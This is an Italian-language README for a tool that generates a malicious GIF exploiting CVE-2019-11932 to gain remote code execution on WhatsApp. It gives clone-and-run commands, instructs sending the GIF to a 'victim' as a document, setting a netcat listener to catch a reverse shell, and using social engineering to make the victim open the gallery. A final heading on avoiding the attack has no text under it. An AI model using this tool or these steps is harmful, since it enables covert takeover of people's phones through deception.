WhatsPayloadRCE

Questo è un Payload Generato Automaticamente per CVE-2019-11932 (Esecuzione di Codice Remoto su WhatsApp)

1. Installa automaticamente GCC (comando innocuo, puoi vedere che è open-source)
2. Salva in file .GIF

Come Usare ?

sudo apt install git
git clone https://github.com/Err0r-ICA/WhatsPayloadRCE
cd WhatsPayloadRCE && bash start

Schermata

Come Ottenere una Shell ?

1. Invia semplicemente il file .GIF all'utente vittima COME DOCUMENTO NON COME IMMAGINE
2. E imposta nc / netcat sulla porta che hai impostato nello strumento WhatsRCE {nc -lnvp your_port}
3. Puoi usare un attacco di ingegneria sociale in modo che le vittime siano attratte a lanciare questo exploit
4. Dì alla vittima di aprire la galleria tramite whatsapp e di inviare una qualsiasi foto. Dopo alcuni secondi riceverai una connessione shell dalla vittima

Come Evitare Questo Attacco?